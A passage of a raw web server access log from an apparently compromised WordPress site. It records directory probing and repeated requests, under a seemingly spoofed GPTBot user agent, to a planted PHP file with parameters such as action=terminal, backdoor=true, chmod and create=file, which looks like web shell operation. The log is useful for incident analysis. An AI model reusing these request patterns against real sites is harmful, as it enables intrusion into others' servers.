Safari/537.36 Edg/121.0.0.0" 222.253.222.125 - - [17/Nov/2025:12:21:24 +0000] "GET /assets/plugins/js/includes/includes/css/blocks/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9979.100" 148.255.93.192 - - [17/Nov/2025:12:21:24 +0000] "GET /assets/backuply/includes/css/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 Ddg/17.0" 74.7.227.184 - - [17/Nov/2025:12:21:24 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3212 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.174.25.76 - - [17/Nov/2025:12:21:26 +0000] "GET /assets/css/wp/js/includes/css/js/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:21:27 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3202 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 116.97.105.157 - - [17/Nov/2025:12:21:27 +0000] "GET /assets/fonts/js/includes/includes/css/plugins/ HTTP/1.1" 200 682 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 14.242.252.180 - - [17/Nov/2025:12:21:28 +0000] "GET /assets/assets-20251112184145/js/includes/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 103.255.156.49 - - [17/Nov/2025:12:21:29 +0000] "GET /assets/assets-20251112184145/includes/css/themes/twentytwentyfive/assets/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:21:29 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3187 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.191.124.47 - - [17/Nov/2025:12:21:31 +0000] "GET /assets/wp/includes/includes/css/js/wp/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:21:31 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3207 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.168.173.135 - - [17/Nov/2025:12:21:32 +0000] "GET /assets/assets-20251112184145/jquery/css/plugins/siteseo/assets/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 113.163.205.55 - - [17/Nov/2025:12:21:34 +0000] "GET /assets/assets-20251112184145/includes/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.224.116.55 - - [17/Nov/2025:12:21:34 +0000] "GET /assets/backuply/css/plugins/wps-hide-login/languages/wp/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:21:34 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:36 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.163.248.217 - - [17/Nov/2025:12:21:36 +0000] "GET /assets/wp/network/js/includes/plugins/pagelayer/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.230.4.229 - - [17/Nov/2025:12:21:23 +0000] "GET /assets/css/fonts/js/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.191.233.140 - - [17/Nov/2025:12:21:25 +0000] "GET /assets/includes/js/js/includes/css/wp/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.237.171.53 - - [17/Nov/2025:12:21:25 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/js/includes/blocks/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.189.226.36 - - [17/Nov/2025:12:21:26 +0000] "GET /assets/wp-includes/wp-contentaa/js/plugins/pagelayer/images/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/118.0.2088.68 Version/17.0 Mobile/15E148 Safari/604.1" 110.137.83.40 - - [17/Nov/2025:12:21:26 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 123.20.126.45 - - [17/Nov/2025:12:21:26 +0000] "GET /assets/backuply-20251107214702/js/js/includes/css/jquery/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.173.170.65 - - [17/Nov/2025:12:21:28 +0000] "GET /assets/css/js/includes/themes/twentytwentythree/styles/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.196.190 - - [17/Nov/2025:12:21:28 +0000] "GET /wp-content/themes/twentytwenty/inc/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/92.3.3357.27" 113.181.124.14 - - [17/Nov/2025:12:21:29 +0000] "GET /assets/blocks/js/includes/css/plugins/siteseo/ HTTP/1.1" 200 622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.181.194.225 - - [17/Nov/2025:12:21:30 +0000] "GET /assets/wp/js/includes/network/wp/snCaPhB.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.99 Version/17.0 Mobile/15E148 Safari/604.1" 14.191.37.144 - - [17/Nov/2025:12:21:33 +0000] "GET /assets/backuply/jquery/plugins/pagelayer/images/wp/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 14.191.116.30 - - [17/Nov/2025:12:21:35 +0000] "GET /assets/backuply-20251107214702/wp/network/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.3 Mobile/15E148 Safari/604.1 RDDocuments/8.7.2.978" 14.168.249.131 - - [17/Nov/2025:12:21:37 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/includes/includes/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 195.29.38.140 - - [17/Nov/2025:12:21:43 +0000] "GET /assets/includes/themes/twentytwentyfour/assets/fonts/cardo/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.161.149.253 - - [17/Nov/2025:12:21:44 +0000] "GET /assets/assets-20251112184145/includes/includes/includes/css/js/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:21:38 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3193 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.241.57.192 - - [17/Nov/2025:12:21:39 +0000] "GET /assets/assets-20251112184145/includes/includes/includes/css/themes/ HTTP/1.1" 200 674 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9979.100" 14.189.136.101 - - [17/Nov/2025:12:21:39 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/css/wp/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 14.189.89.98 - - [17/Nov/2025:12:21:40 +0000] "GET /assets/wp/js/js/includes/css/plugins/ HTTP/1.1" 200 684 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:21:41 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3217 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.179.187.168 - - [17/Nov/2025:12:21:41 +0000] "GET /assets/backuply/jquery/js/includes/themes/twentytwentythree/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.173.82.196 - - [17/Nov/2025:12:21:42 +0000] "GET /jquery/css/network/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:21:43 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3225 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.170.196.101 - - [17/Nov/2025:12:21:44 +0000] "GET /assets/backuply/jquery/includes/upgrade/wp/PcZAGw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.116 Version/17.0 Mobile/15E148 Safari/604.1" 113.183.240.28 - - [17/Nov/2025:12:21:45 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/includes/includes/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:21:45 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f77702f&f=snCaPhB.php HTTP/2" 200 155372 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:47 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d61646d696e6161 HTTP/2" 200 3089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.127.2 - - [17/Nov/2025:12:21:49 +0000] "GET /assets/assets-20251112184145/wp-includes/js/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:21:49 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d636f6e74656e74 HTTP/2" 200 3090 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.166.179.110 - - [17/Nov/2025:12:21:49 +0000] "GET /assets/css/img/includes/js/includes/blocks/ HTTP/1.1" 200 620 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/118.0.2088.68 Version/17.0 Mobile/15E148 Safari/604.1" 113.166.20.51 - - [17/Nov/2025:12:21:50 +0000] "GET /assets/backuply/js/js/js/jquery/wp/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:21:51 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74&rename=wp-content HTTP/2" 200 3261 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.172.204.202 - - [17/Nov/2025:12:21:52 +0000] "GET /assets/includes/includes/css/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:21:53 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=snCaPhB.php&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3330 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.179.80.80 - - [17/Nov/2025:12:21:54 +0000] "GET /assets/css/img/includes/includes/css/wp/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:21:54 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3275 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:21:57 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3200 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.23.195.210 - - [17/Nov/2025:12:21:57 +0000] "GET /assets/assets-20251112184145/backuply-20251107214702/wp/includes/themes/twentytwentyfour/ HTTP/1.1" 200 690 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70" 74.7.227.184 - - [17/Nov/2025:12:21:58 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3267 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.22.147.155 - - [17/Nov/2025:12:21:59 +0000] "GET /assets/assets-20251112184145/js/js/includes/backuply/wp/ HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 DuckDuckGo/7 Safari/605.1.15" 14.191.242.102 - - [17/Nov/2025:12:22:00 +0000] "GET /assets/includes/includes/jcfxeds/wp-adminaa/jcfxeds/jcfxeds/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.150 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:22:00 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3260 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.233.97.180 - - [17/Nov/2025:12:22:01 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/jquery/wp/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9415.94" 74.7.227.184 - - [17/Nov/2025:12:22:02 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3082 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:05 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3123 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:06 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3171 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 222.254.48.136 - - [17/Nov/2025:12:22:07 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/css/network/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:08 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=prHCAMqyQ.php&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f626c6f636b732f7770 HTTP/2" 200 3341 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.50.161 - - [17/Nov/2025:12:22:08 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/upgrade/wp/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 190.176.161.137 - - [17/Nov/2025:12:21:45 +0000] "GET /assets/css/fonts/js/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.234.243 - - [17/Nov/2025:12:21:46 +0000] "GET /assets/plugins/js/includes/css/jquery/wp/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 123.16.117.228 - - [17/Nov/2025:12:21:47 +0000] "GET /assets/backuply/jquery/twentytwentyfour/styles/wp/xeshQPjkE.php HTTP/1.1" 200 3049 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9415.94" 14.169.176.97 - - [17/Nov/2025:12:21:49 +0000] "GET /assets/img/js/js/js/includes/backuply/ HTTP/1.1" 200 628 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 182.8.131.50 - - [17/Nov/2025:12:21:50 +0000] "GET /assets/wp/themes/twentytwentyfive/assets/fonts/fira-code/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.169.26.195 - - [17/Nov/2025:12:21:52 +0000] "GET /assets/backuply/jquery/includes/css/blocks/wp/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.173.20.159 - - [17/Nov/2025:12:21:53 +0000] "GET /assets/includes/js/includes/includes/css/themes/ HTTP/1.1" 200 662 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 113.179.149.219 - - [17/Nov/2025:12:21:53 +0000] "GET /assets/assets-20251112184145/css/wp/css/blocks/wp/ HTTP/1.1" 200 659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.26.97.1 - - [17/Nov/2025:12:21:56 +0000] "GET /assets/backuply-20251107214702/wp/includes/themes/twentytwentythree/patterns/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 222.253.236.208 - - [17/Nov/2025:12:21:56 +0000] "GET /assets/plugins/js/includes/includes/includes/css/ HTTP/1.1" 200 1022 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 113.168.89.229 - - [17/Nov/2025:12:21:57 +0000] "GET /assets/backuply/css/wp/includes/includes/css/ HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.182.119.133 - - [17/Nov/2025:12:21:57 +0000] "GET /assets/css/img/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 